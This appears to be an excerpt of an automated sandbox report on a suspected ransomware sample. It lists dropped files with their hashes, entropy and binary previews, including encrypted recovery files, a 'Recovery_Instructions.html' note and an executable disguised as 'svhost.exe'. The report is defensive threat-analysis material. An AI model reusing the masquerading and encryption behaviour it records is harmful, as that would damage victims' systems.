Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.977442429748065
Encrypted:	false
SSDEEP:	192:Chqwhh/r0vJzu2pOma4EeC6URTMf7qOOC+J408ETlsP7O7odl7ahbSHFJe54kB:Chqf1pPC6URTMfGI+hvqP717zHFJe54E
MD5:	59535E329D920B3F9BDE7672FA56FA6A
SHA1:	28787E4CD2F8A4487B75CF40704E33F642989D1F
SHA-256:	75AFFFE614F4554CACCD7A829FCFCAC19BD43ADD22A71BBE80CCA0F8EB5CC025
SHA-512:	DB69E6FE86E8923CB7E35368BB887D386F3D5EDCF7ADF7983FF510A16B953BD441FD7511F7839B8B3EDECA6FB9586C573F3E8FE5EC7B779ED396D68F3498E6B0
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..pU2.a..B../........XD=U..9aR8.aH...-..N...A..5J.8^.T.).........4...$.......T...l...kcz.6$...<..1D6......:.o...3.k..D.i..2.}...C..6<..3.5.[....4B.....rF..k.;......Rm..d.~..`A..o(.o3...3.]...H.h.....V W..?...)..w..-au.$.$.=......-J.B..A...=.zVD......v{-.K...r..x)...).R......2L[9..'.]...T. .r.7)..IL.?..l7(..f...\V..AQ.....a\.:.UP+....M.{.~..;_..0/.....,.$.NS..e.......j.]C..!....[...b.k...2yU..........+.TH2....R..Bn.../........S.A...P....w.......i9..v..[..e[../.9.X"...Q....O..~.$#d..7...'.:./y..6.zv..Y.br.D"......@.tq...S<..5....I.*.........A...W..R.W...Js..U...~ho..-..E..@S....MA.O...J.l\..N....n..)X.D:.....v....r.rR.........T...-.......e...mE.7F...!.....WI.\|.yck}.H...X.rc...-(9.\.......#%_...:.....XV...0...o..m?......b.I.P.P.....c.....t....Z#...A.P.k9..r..."..;].'.ON.SH...(.......Cs..b5.M.EoR..bC.j......S...Q.......L....+.X.SK...Je#.. ...;4........iM..U...m.mT..N

C:\ProgramData\USOShared\Logs\NotifyIcon.011.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.975247938129894
Encrypted:	false
SSDEEP:	192:A2iBVoq3Czf93sIAlgFOtBx0wBUotdh9e+uh54kB:WBtofdsIAlVBxtBpehh54kB
MD5:	70F0121582159FDD5141C67B7272C648
SHA1:	CF589CF893123414B243CF2827468D319FFEB10B
SHA-256:	D43DF1E4DB57A0BAECE87B96FB34D610B93AC044771A8D94BE20E68BDE3A1489
SHA-512:	346B0C44CD89EF97EAAE44433427356A9C647C04896F5CCF309CD60D5BFEC91C617ED2E79AB888E966293664382A77F980992459B1D8F2656DED5D9DA32E8B5D
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p.Xm..5....u\...7.....kq.m...t...IM..tD.b0.......u2..v........W....#..\C..e.9a.Ufp...>hS6......A=..'.A.$S....K.KWn..(.1:.^...w......q...B....p...,c". t...}..M.(.Y....o.)....W.(V.`d&nH...#...,...b3(d..LcX.V\..f...I.kB.S......!..H& m...b.&....j.G./w..2`.....t,.9.M.....aXw1...O.b3....)T0?a2O./#.....FR.......-..e.4a...8.'..id..w.eM.......e,..x...E..%....Z7......D.7..@....(X..1.H.V.l..g....gVK..r....n.v_....o.. .u...t.T...V...mD.f.3........c....\)>......K.-...+8...~..m.&..}......vc.......z...0&.V..f......Cf...I.t.0..(.,00.....@..Me:.:..p.3..M.3.N...H'.}@uy....dw@...........[...u.........._....^.N.\|.#...Lg...).Po..F"('.......w...]L>......V.+...S.J...'.\E..;.....[!..x...z..5....1.S..m).1.:......z.S-..8fE`T..>r5....Es.@?UGl.....2G..=p..6.)..0..+i...Sb.p...o'A.....8...9SD..q...J..e..E.f5..p...3.....{U.c.L......9N.Y..p8.....c_C.....ttq.<.8.U..wVBm.?....%S.HE.......v..

C:\ProgramData\USOShared\Logs\NotifyIcon.012.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.9785278363689
Encrypted:	false
SSDEEP:	192:6DT8I0Wa6xneeJE5wc7Wka1rMwgrHuQ60breX1t0pqBT054kB:rb+ef5ekauxrH/pmkct054kB
MD5:	37E367AC494488DA77D5410D365D420B
SHA1:	96B7C3A155469C79D416BC70A950D26B08826230
SHA-256:	51F7DB0B8159F4166D50658A185BF79B94FD7FDE602FE542F9E6A8D941C32C42
SHA-512:	F11E9DC8A5C298EAF64540F0D09AE35973F6FCC39F8183AD5ADA0D54E3F2613691C75792AE09167125352BB98B482E36DA6803346C533AC3D8C975D0C1F80905
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p.....-......5.dEz'...9%...z?.f.X._..zGdmV...u..2.j.8.^..P.[Z.c...L_....Z.\6/.SnJ..B.LT..P..96.1.b..n......p$....L@.d.}D...:.C.&)[w...]..U5.9...._.2....Pc... ...j._........K6}.i....?.4@H>'9....(.mA_.i..D..R.Dk1.......9.]..o....e.8.5....c.WI.mi.l.......7D...</.(.)..I.2{.....r..>...m.:...._..X.+.......\|.+...;..!..s..;...(....d.!\.l.q~l.J..q.{-OT.@.3.L.....1.B.$.....\7.E=.Tz......@A.A..B.O.....2.-.GF.s.z....f...G.......zDR..T7.=..i.-.9_.s..L...@....n+.;).uS_u(.6.u.3$..T.b..J.Q.......))....Hz. .;....9.H.....l.^iZ.....i.4.Yhc..^1KJj..9X8=.9st...g..a....y...NU."g.C.....0#w;.@.k....\|.g.OM..8CX.{.}.>(.Z...s\|..bh.i.....{.g_.@^m.iy.H...<.W..ObM.a9dw.S.....W?L..m.6;.O....2..C....v8C..LZ......._4uD.....Wv.B.z.^@p..i..z.h..$. .aW.?..I3._Lv../.M....D..#J.h..v...!qm.. ....s.L.OA.z..8E............&.-.7X..e.3w..n....gj..-k..5t={t...n....}2.Q.e..0bli...b.Q..!W.T.F..K.P.d6.G,...J(.

C:\ProgramData\USOShared\Logs\NotifyIcon.013.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.980747426114035
Encrypted:	false
SSDEEP:	192:01UI7mBLstz36H2NB8gAddOx7mjHy54kB:q7mBYDAdrjHy54kB
MD5:	2F503C28D8EAD221DEF5F26B2886C8B4
SHA1:	712A85878888C284D8DE44244B42374F3678AD9B
SHA-256:	2CE95916699E7CCCA4B10E82FBAD4FA410C614C9B5023D27BA6FE51274C76416
SHA-512:	79370B1B38D252F437861E1CFCD92B58C86597742413C6FFAEB6C431E50C69E62E5DB248F4250E229E5E4A598105BE6F1FB0B6769708921E3D2CF8733A1A4AF6
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p._.....OlX{.gv.y....r.6.6.`'<..z........l......#.Lr....^....w....5....B...%qA.......?T..SF]......c..,...z....-.4d...=..Fz ..r...KD...Z.`.[..[...M4;.=>+..y[a.v..d.=....rH..&K....'...y.7z....?.0G;.[.Q....V..?..q0a...^.F....:....<........3.k"7V...W........"."...YMA7KY..w%.f...Z+...7M.S. .3..+!.....d#.Zm.H.._w>>./...08....[e....8+j.'?:..,.YQ7_.".`..V<.;d...U..JPso.....8....a..<......H....A.X..p ....e{....8...K.B].-.F."$..5.zmN....as..I.........:.X....e..YJ..X....I.\|...fj...oN..}.&.wzJ........U...%.<.Q9mN..N .q.iq6..J..R z..8-.`.. Q.b u.=8M.+B.>.o.{.fyA...z.Z...-[....H...z2.......'\..{.g0.w.r..._.g.....K..f.['.T.NJ.=oB..Y..2"....J.V..F.7JUw8P..>.l..jf...%...V!.t.K..._..j......Z.%w..\|Oee...>{@.R.+..K.O..n'....A.:i..@AT-........I]..i.....X.! X,....\>3...&t._...t......?g...R].+N0........v:..0<iv...i%4...?........74~M.B~.(.[A...8....+._3H\.\.y...V.6m.Y..+

C:\ProgramData\USOShared\Logs\NotifyIcon.014.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.977443871096694
Encrypted:	false
SSDEEP:	192:6XwCpwaie1BLM7HZidTLtix6orvcc20YAQXb6V1nIjqJpUML2IPQzQp54kR:6XwCpw8LQcTcp9hRQLgnBJpUBIn54kR
MD5:	8B68CC5EDDF557936C557B94358108DC
SHA1:	6341A779D3A16CA9CD5782DD89643E6A0A55E004
SHA-256:	FA52115973B896FCF7D6C6F796F3B93747E381CA7F3894C733B27EF24B8CCBC5
SHA-512:	AF8B72D336616AB9EF672AE4AB1F611E2B119697AB7605A763BC90EEBFBA40FE6959ABEB9CD39F353A0646AD207EA06129A29BBD6BCAC98DAB4407BE04708BF8
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p.....Ip{q....b......5h.S....wLw.u.....Qb...qM...............8.q.$...7.D......:iuY...LT..2z....xJ..r._...i/.\pk...4w..=.e...1.F....X-.......V.o.._..K..6q.o1m......l..q..,Yw..:.zw.T.....Z..(..Vn<#.>~V..i..nV.t$..L...T._...y....{...(e.'..[...B..=..2..L.;g-...t.....2.}rn....tr...u....2.$z..`:/W.js......"n#gy.2K.........w.4.z.i..T.8...:...4{..... r.i....t. e.[.>...5..z.....im..rY...../.s.@.:f.........),~g.....B2.h.i)YH....>i..n..Y..s.%.6.xV]hX.7v>..5.j..O/.{....._.......(WO....u`.g.?.!.`.h.q.R\|....r..<c.>K.<A.u..../.dHO.{,.[.......^........(.5......G.o........bq.h>.U...D..?......q..ERu...5i.........?...Xjsxi.Q..'O.^....^...]....2'\.....g.)7........1X..B..U.{...C.....e.nCcS)....Q....s...](.}.Jx.......w.~BO....K8........3....CV.)E.^c..,......:...O....3..w:.4..h.n.3x.2.. .&I.~E....&....M......\|..O.d~V....\|.6.'....V...e.....t......!..A..Y.=u...l...F.!.8...M.M<...

C:\ProgramData\USOShared\Logs\NotifyIcon.015.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.980352424588358
Encrypted:	false
SSDEEP:	192:F+ynkozLhLD4ldWEGoZe6likTjwCYjpTe354kB:F1LLhLD7kT8Cr54kB
MD5:	1F1A4BE5FFBDC8BB945C2B815B97DE47
SHA1:	ED7F44FB047F165459CBFA6B558120CE2E8A2E96
SHA-256:	9825A79814BE5B285E0D9224DDC7DA10FE74FAD9B97792FFDECE79C734CE0C05
SHA-512:	2909C7FD865D627CC0D668E5D73ACFE0883A2BA0C19485D829439D471B4C472D23F61B30073B8F1B5FDD7DE3A3D636ADF67719DCC830657CBF71A8D426CFE050
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..pmU..SE...K.!..j.5......8.S...ZI..4.9.,<.....7..E.....8.[..Wy..7C....:q~P._.....}...O.pU......P~.#..,.[.DmF.)....f.,R..z.8.V`....f{WD..@"c_..iR.M2.+CB+.. Rr.n.....G..S......!B..5V..4.........\|...PfeC.tXn.>....}=..G..)......k$K.....prb.....yg.FF........l...~%nf.Z.....1=.$..`)...........Q.............a.7..k.!...$..P.Wo.P..K....h.??..S t..)..!/Gt..f.....]l...13+..-...T...CK..6...P[.V^.zjt..\|..f.....]:..H..P.d.....uFs...C............U.=..C.......%&vE.#..(.6...../NYr..Fr.k.9..U..K....u...^..\.%..%......_5,RHWW....._..._........?B+\....c........~I4gv..=.?Q..6..v...../.. ..-'_O.l.Qp..#y..E}..c.....L.......p..GG....gX...U.<N.Rs....>.c.Gr...,.y..c9.b..d\.Nd....Y...9................B<...8...sP..#c..o...,.....4B>....Q........I....c....(..hr.#.8.%N....g.g..lV.+.A[..7j..K..o.Ud.\|.....;"...x....5.]E.WT=.B...xQu....o/.G.Q...H..v.......4......N...]=..B.?.i..=Oc.}C3~.[

C:\ProgramData\USOShared\Logs\NotifyIcon.016.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.978825760608827
Encrypted:	false
SSDEEP:	192:RVV2+s3iw+n4TDDtN3grmqZNHe3RGFB2uDxuTM54kB:vI+s3KYfb3gaqkGF4oxn54kB
MD5:	B26565E8DC383710B1C7DF057E980D43
SHA1:	2F1FF6ECFFFD17F3457053EE9903C03D3D0E7B80
SHA-256:	4E27ED495B5896087C21438BF39D1D266611D98E4E2D9A4817CE4CFB81ED4116
SHA-512:	9336F291D3114E69EC14903E169F758608F9F3218B158AFDFDD4BDD4A34F3AA6BCBA604F6A016CE8AAEA5915126233E140820C976D19C6C6FCAC0FCF65EABB78
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..pSO.M....!..j11k.4....=..N.}I+7C::...U_pL..1.l.C.N....PnJ.941^....Qk..s\Jb...~.'F8..)...W]....t..Q./.\|.[...9.....V........vW&5....._..A.2..Q..CMP..._).u,.....K...X.P..+...[......v4.N..0...#.E...b'.........X...o.#'.QA....o.'.G.=...w.[..J.&U.I.S...)...sH@4.CC7MD..cu........@..YA.\.;...Zxi'..z.....!.(e..f..W5.b..K......(.;.B......~!....T.\|4ZZIHEq...D..n...m7.{h.k.l...7.f..e....F...U...2A..m3.ne.dJ.Y.....@.Y.1S....Q..o..}3.&<_.tJ..........Ll.{v,..[w't..E.)AB.3.H.....&1.8.......J..O..c..O1>k.&3.....e....z..}....V.......4..Q0Y......e....[N.lf..l..\@I}-m{N...sM.h.....&y.u._..z.[...P.-.c\.#g'M....Q.@.dN.....g..Z.b+.2.;y..K..5....:...Ki)....V..1..?.....I...l.fWw..zL......qd.j.n....7...[..1..j.H...2..j{....\|..X....:D.~.)4W.(......fL.N....X....X..q.....^j....H...e.1+.<.$.ah#.`..uB,.1..'bD^c..._......tnr.iN4..E.k.o.<L(.9u\|...........n..X.}m.'....i]~9j......d+.p.[v}..Z...S......B.

C:\ProgramData\USOShared\Logs\NotifyIcon.017.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	16920
Entropy (8bit):	7.988435207702046
Encrypted:	false
SSDEEP:	384:nqKK0F6J3QZRB4HnvWGxEa0HmsWa9oYtrvj24F1k2UiFmhH+v54kh:nqKKn30Sbx0guL1Oigk
MD5:	A8F9338A22BDD8B4EB0FE1F43E76919D
SHA1:	18A5B565CF6606C05654753BACAF80F98A4F6F13
SHA-256:	C5976EE15DB8267785844B9ABB58961ED6E126DEDFDB639BAE9669F22BCAB2A3
SHA-512:	928DD9D8BCE1896CA74BA758BEE5B0A6182978211661FB81BFF474BCECD45A3EA99BA66662A70F23C0BAA1267F51829B235A29B6A6129307D589D8F2CAF9BE69
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p.3..'n....D]+},.#xv.O...<.1.s.u.8.......Eh&z..L...S.....j4.;.^c.L.59...U...#u...J.,.....g.d..{]......e?.O...A1.aX.H%I5\|..E4. ..v.Dt....M...w.0.q.....(F!=..o.0.qT'...3Y..4...bm#.{..U.x.];....,.Z.3.........VC..3...Pc...Fb..&..t5>7d$..R..xH....r..i..-lJ....G..$.f.....R...~....C.K......M.F.+X.T.....N.B ..9...^Q.Y=:.Z....R8.;3..=..FJ.1.D.0\cngB..." e>.f.C..<...F...8..._.....d<....t..}......B.j....K...2.....D2..y.sK....7...+D;z..x..q.Zo..... <..A.WPo...c....1d{..N.=......E.I....g.~..-..F..@..._..V..Fkn.`.....9X...5W.2.E....8.. B.E.bF..IM...c.P&V..O.B..<.}K.I..s.D\.....$jM0.E.M.N#.......;.:....=.....].N....,..-Df...!04......iiKY..*.q!/B..d1..Pq(DI.....9!.$.z.&.!o.Rd....>..@....p.........BrR......;.k..P.S.")..N....X....L..{^.2.(K.)...6..e..W. ........1$e"!U[J...\&$~.8W..G.._......;....QTm...&......Hd...........>mSsNu5.1QF..._fJSC...tr8....h..P.JM.dEU.C..{.=...A....

C:\ProgramData\USOShared\Logs\NotifyIcon_Temp.1.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.9771863174846995
Encrypted:	false
SSDEEP:	192:Ly2d0SD3rUVZxrijTcX4YvyN6vFs0BKjTNAhPwITQ/0Fes54kB:d007UPJijTcrk+Sn/NBI3t54kB
MD5:	2C5CF9E9C586E86AE4C6BC9ECA9C3B83
SHA1:	D16DA6E840459FB21117F9C1CF954C61A3CDFBF2
SHA-256:	0AD49DFE572806FB8C9371237B93D4F55CAB658F070B17BA8AEF6609B71C15CF
SHA-512:	8768D5047BD8FBD607E8970A752486C7DE944963AA18557E016D252999E6991D3D4DABE09721155AEF9180DE994CDD336F8CF92B1EBDA25726679ABFF09AF94B
Malicious:	false
Preview:	6[.:.%@.IM.Q..m..B7..4.].SE...0..p~........\...Y..j..@.n..{mu.X..b6...V.A..p@.2.R...{.....4....bv..ox^.Zjn77.......=.i/..T.......hQ\.n..b...-.5L.......N...7.2Y{..1..LbJ...2V.8.\h..>...l(b-<vsl!....A...w.P).ln6#5;.AF.sr.......~..Y...,..7.0M..,...>..f..........=.S...4.\.Z7.S.O}...../....$z'.........jR....sMK././Z...HZ....j%....e..E1{ELb.g.J...#...t..4&....=V....7N..Y.....+....3%....M6b..8.`..=..Ft5>.....>.b.....V.OyM@]l\|.....Vs27H..g.........M.....+.H0.77~Y....\gw...0f.&..O0..;...kI.g.9...~$....9.......m..J-...-.q.....R[{,..&..... ...r........m./._....-.Z.......1l..'......W.....CH[..6..j./6.p.....QK..W.....%4...R....o.g]..L8..}$.]....BEe..`_.A....5*...8......[I.B.tc..4.am..'.o...\.I..0S..-.....JkY.).VA...[.!.U...../t.X{)uo....xq....8..g<....^...1<......-.....A3c..^.U4.I...8.....c..q.G...~...1.%[....g;.....P.......Gk.....zp[jn.G...a4>.w4....3...}.a..s.E.Q5.....A..[._..n..&.....F}.....U. ..ZRp.r......Z....Vxy.).r..j%...5\..\|...G..

C:\ProgramData\USOShared\Logs\UpdateUx_Temp.1.etl Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	41496
Entropy (8bit):	7.995739486175735
Encrypted:	true
SSDEEP:	768:Lsd0c1Iwwl7fJhwCWqf8aer/mpvUXH1+lKhQzdWtIjYJFRxCMawjNfyph30:ZUIjVwCvklypMXV+lgAdSIkRHjNfyphE
MD5:	827EAA4BCCAF15FD036E495B1A9FB540
SHA1:	A91BF18107234F845475A62F5A8F6A6359F31B20
SHA-256:	83EC5CB1368A66AAAB14C83AB3910279E3326CC79B2D61292954751D3CBFED67
SHA-512:	E8CD1E79237C3ECE4868E8F38EC5F552444F1D0A6BF2B1B9CB1E35A7375D6D8EC15DB306927896C45B0DCD9FD6FF695C71AFE1126AC276296BD23A64DDE6FD90
Malicious:	true
Preview:	.....A..b98....j.7.....M..C.-..H{._..6N..a@$$..b....tk..N...L.f9......e.\|.^.`w;Mx..L,ID.1.P...2.g....X..c..X........ou....m`....z.&c....~.D+t..{0.;{...`...?....'/...g.../e%....q.....w!...Y/......-....)..x..l.....w..n.E...f.f.....V.M0!;...sT..h..:po\|{RF.....'U...h....`E.m......F..../BO...K...^.."....t.._...[t5..!..E..wk..t.qtV..J...g%....N-..2..e..b.'..w.3..F..1-..a....mk.3M..u...zo..z<^..N..{..L..+.%......u:0.Z..,!.".Y..gN.8..U..0..D6/.;.v.N.(.=.U.+2<.e.{Q.X....q..[)......17...m....)U..D..^.ah...I4...D}r..~r.[8..vD..h6.b..4.h..$k..<....ubU#.,.....A..D.L..T..B.H6....?.\...o<X.E.r.(..U....S..&.h...y!L..{.....?m.T..........M.$T..L..(x)I.U..:...hA/(....7f....a.c...o.?-..........0......Xc..=C...g..T;..\|'b.g.D........+.d.......)....PI.....Z......S...o..C.h.^.1.../;).9-3U.q....i)...6fn..R...Y..u..=...0..w8..Tw?.62..o0..R.._..S..[.H....$.Z. .!.la.P.s.ea2.h.hN].H.[2f..L!.z.]M....l.......f...).u....zlAz}.gfZs.......s.l... "...[;@.

C:\Recovery\WindowsRE\ReAgent.xml Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.978588200984008
Encrypted:	false
SSDEEP:	192:ZWhOv9LMtq9kHnLI5AFxDW/10XT8A2JQw08wz4d5u54k+:IhO1oAkHnU5A7q/1m8X28wkd5u54k+
MD5:	363EE05C040E97C6E45376B916AF8A2D
SHA1:	6697408D26DC344A8E4A65381C88380D399EFC45
SHA-256:	B98F23BDE074BF031A1815BCA4FC37503719044B8E89DC4BC6EB19795FD2CA1F
SHA-512:	C5E57259525759CD45C6397F9F669741C33E29359AA35C8AEF094215963E786E1D470DA104D4F51406EA7A8EC41E77D03E03784BC4D4D2BE2758E982566AAF56
Malicious:	false
Preview:	..a..f7'....6.u.\|.7J...8>{.xXyn..ew..o.Yy.h..e.d..Z7.;.y.\|........$.....l...[..LR).>b...E.v...\~'.M~......ib.".D...#..Z.s=.......7......?..<f.&..m.w.........P.6..9..\.....=vl......g"-..+j...0..5.Y..+.>..m....Z.C <.3..6...Fc.W.#S....hKYP...C?)..+\|$.'0.TL5..j/...........1._~...g..T...9)M-D.?)....tw.p.N.....o:{<x....._.(".qM..I.....R.p..s=......x....^K.R.Z.i%....:.-...T.a....[Q.h.3m..B..6..~5.s3.x+.^.CZRO.G.;.U=7Nx...9T.v\|Q....-..'....#x...c...V;@......h.]...Q.ER.H.53q.3..Y\|.0...z..6vxRz.......sY..=?8....S"+...(~.9....}..Q.h..;m...g.f....h._...+.e..$....R..cu!...A.B..._"Q...5..#.B.....~@.......P.........H23\|Q........:=0.."....u}.?..lV...E.k..L^HB.k>...I..0.w...O5..u...ptB{.Q.. Q.d.w...L..'...u..n=q9Aj\.+q.S._...tI..s...eE..v!...Nv../".....D...).[m_1..V[5.......;.'u..LT..........F......N.V...k.....T.NnU.........C.....d D>..(h....0....U.@..!qnx....C=..~..........X....:.]...^a#..._..?eH..fK..Z.v.1..N....'.`..(........iY._r.G.t......"..e..n.k.

C:\Recovery\WindowsRE\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	true
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\Recovery\WindowsRE\Winre.wim Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	16777752
Entropy (8bit):	7.999988500549834
Encrypted:	true
SSDEEP:	393216:5HZMi3LqnCBUhfgQwc+yUMGw7O9UTvjAykYuLE3nVvGZuPl:hbkCBUhfgTfMGpykOquPl
MD5:	93AF9072CEDF0495C856D6CC25FEA8B7
SHA1:	ACE6F06FA5147A18D0D665271E9CB5CA10FB612D
SHA-256:	5F9A0E1C78B812312F68DC5356323B1FC4C861640096A7F6FE1CFF72796DB70B
SHA-512:	6EDCDF315B1F240412F2373DA765B6990A7B3F0AD1AAAEB9C33AEB8796895EB650062EEE9B2027DF8E6BBABA6E8FD83E1C3651FBBBA32D381FCCDF72089B7F36
Malicious:	true
Preview:	.....oi...M...^.z...k..fP.a.H...A.4_.xS...o[......o.^[..-...XD...s.vk.!.AG.W.....t.".n$...)sAI\.3'h..... .D.(.h.6..#..B[bV.e..4.O.....p[..u........b.J..x@[>"..nP..$.....bs.D....C5.r..CG.q.......k.4..v.h..MH...y......E..g.Z..q..BwD.e..R.."w."B'.U.......B./......>..K.Sl......?\|.?`k.....g2..\...Q..X.3i.`B.P_".=.b......._.....Z3....E....F....oF#r9..J..:..........X>..<FyT9.x\G...`.T.N.i.hCj68.\|.k.m.....b.n1.!.."m.o...F.d...nl.......I..F..&....K...'...`....O.....O...4.>......7..Gy.>.Y.`..i.H.<.}.....8...o.V...z..[.,.A..o.....B..B".)..4..W......'...Q..-....K..`@..~i....% W...k....4..b........5.8........S....{...J.GD.\|..u...-..]../..Iv......A...f.1..Q..c.?..2...V^...........oL5...VA.3q........&.r.-.....bY.....^..#1.}.1U ...i'TP.../.k.?b2;<.T?(.!..R......b..E...P...Y.PA........4.....2.r....A.Q?6P?..z..z{&e....k`......-h.R..xP`..6....O..~FJ.'...X...E...{6.=.."=: B......m.u....qe?o.^....4K.ZG.&?k.1...M.};....;.a...a..rk.w....>lWjn..z.i}..?..c5..

C:\Recovery\WindowsRE\boot.sdi Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	3170840
Entropy (8bit):	7.999933982957856
Encrypted:	true
SSDEEP:	98304:qm2ZPFQYB1cCJhS4Ufq+4dV77BhAdXPq02oboPLI1WIyqtgFdBZ+o:bWPe8uCJhYz4X77BKP32obkIUIJYR+o
MD5:	8B2566834758542A2E4E04DC278295D3
SHA1:	C8B62A4161712D9CBD0DCD8914F8A12737C8A331
SHA-256:	765A311C9D71FC27257DEB66FAAD0D83DD36838895F6A810323EEFBBE57EC41B
SHA-512:	A61936B202C5CB20668EFDA3FB8F9094A93506A8A3E2CFC5D623F10D8E581010A4C819E884562F06437798442BB15CB038B3AA7CB01DF22B73A243BFD940464D
Malicious:	true
Preview:	........J:..Bd~....U.uJU...h...EC...SP.D.2...#&.....B4.1[.iJ/.#...d....N.=..>#qJ.&..sa/.....7.V$......S.....%...h.Fm.......d.=.j...f.w..S....2..H.<..%k.,..xE.^..9hWr........-.M.....1v.........X...mK.g..E.p.........$.+.TA......Or...9..p{J.~L.E.N..\l..2.a...>....}..S..........(..>........N..0?l....%.jN...0EUJ....As2..g._.....IF..!....1....8!...8Q?m.EP@..a...L..`..$L&G...",)._.. .y.g..;y(m...e....y0H...}.Ujl..5u.Z..#w.M..L..E.A/...9.i..O.J._...u....l.....J...M...o..<.J<c....E..pc_.=/l6...,.\|Ad..N.h.9.Lq.G.5l..`.>.S...c.]..@....hX2.M.$.0i...,C. .d...y.\.9.. ..Fs.`zq....0..pWn.83up.....p....o.Ba....]2..I1.'......(~DJCE$x..#@{w)..h...{L5. %.o[K..g...8...Y9Dg..3SH..h.g....X.(v<m........k...g.+2.E.[,Uk[..B)..(.@...a..).,xy[.1......p..P..i']..r.J...4~S..&...$.X...D..&r..P's..<d.0......g.i}.....O.O...4..@.....ax...;a......C.TX....5..y..wQv2.h#..m.?...U[}.&....G.:# .pE.e.K.-..y.X.Um..;g..4....=J.p...+.. ...,.]a._S..X....s4[.....&...'...A.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbq:4
MD5:	8CB7B7F28464C3FCBAE8A10C46204572
SHA1:	767FE80969EC2E67F54CC1B6D383C76E7859E2DE
SHA-256:	ED5E3DCEB0A1D68803745084985051C1ED41E11AC611DF8600B1A471F3752E96
SHA-512:	9BA84225FDB6C0FD69AD99B69824EC5B8D2B8FD3BB4610576DB4AD79ADF381F7F82C4C9522EC89F7171907577FAF1B4E70B82364F516CF8BBFED99D2ADEA43AF
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\svhost.exe Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	694784
Entropy (8bit):	6.162685727512194
Encrypted:	false
